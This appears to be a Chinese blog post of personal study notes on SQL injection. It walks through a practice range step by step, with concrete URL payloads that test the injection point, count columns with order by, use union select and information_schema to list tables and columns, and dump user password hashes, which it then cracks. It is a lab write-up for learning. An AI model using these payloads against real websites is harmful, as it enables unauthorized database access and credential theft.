sql注入学习笔记

基础介绍:https://blog.51cto.com/13520190/2126037

比较专业的介绍:https://blog.csdn.net/weixin_39789689/article/details/81089510

分类:https://www.cnblogs.com/JetpropelledSnake/p/9017949.html

个人向工具:http://www.vuln.cn/9027

最全爆破:https://www.cnblogs.com/spadd/p/4085544.html

技术原理:在网页上,通过MYSQL查询语句,可以查询服务器的数据库(未做安全过滤)。

实战尝试:墨客网靶场http://219.153.49.228:40125/(强烈推荐新手使用,评论多,入门简单)

主界面:

点击通知进入一个目录:

页面提交:http://219.153.49.228:40125/new_list.php?id=1

数据库执行语句:select * from news where id=1

页面返回内容正常,说明这有个注入点(?)

      

测试SQL语句

页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=1

数据库执行语句:select * from news where id=1 and 1=1

页面显示和之前一样,测试SQL语句成功

页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=2

数据库执行语句:select * from news where id=1 and 1=2

返回内容为空

字段判断:order by n

页面提交:http://219.153.49.228:40125/new_list.php?id=1%20order%20by%203

数据库执行语句:select * from news where id=1 order by 3

当order by 5时,返回内容为空,说明有4个字段

页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=2 union select 1,2,3,4

这里卡了很久,因为刚开始没有加1=2,因此返回界面还是正常。加1=2是将前面的内容false掉,只显示后面的内容

数据库执行语句:select * from news where id=1 and 1=2 union select 1,2,3,4

页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3

分析:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原本的查询应该是select id,title,contents,? from "table" where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。

开始爆破嘿嘿嘿

页面提交:http://219.153.49.228:49448/new_list.php?id=1%20and%201=3%20union%20select%201,database(),3,4

在2的位置显示数据库

页面提交:union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema like database()

group_concat(table_name)是将table_name连在一起,

information_schema.tables 是常见的表,可以通过它查到所以表

提交:网址+id=1+0+union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'StormGroup_member'

提交:union select 1,2,group_concat(name,"-",password,"-",status),4 from stormgroup_member

找到用户名和密码,可以看出是加密的,估计是md5,尝试用md5解迷

结果是dsan13和771310

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值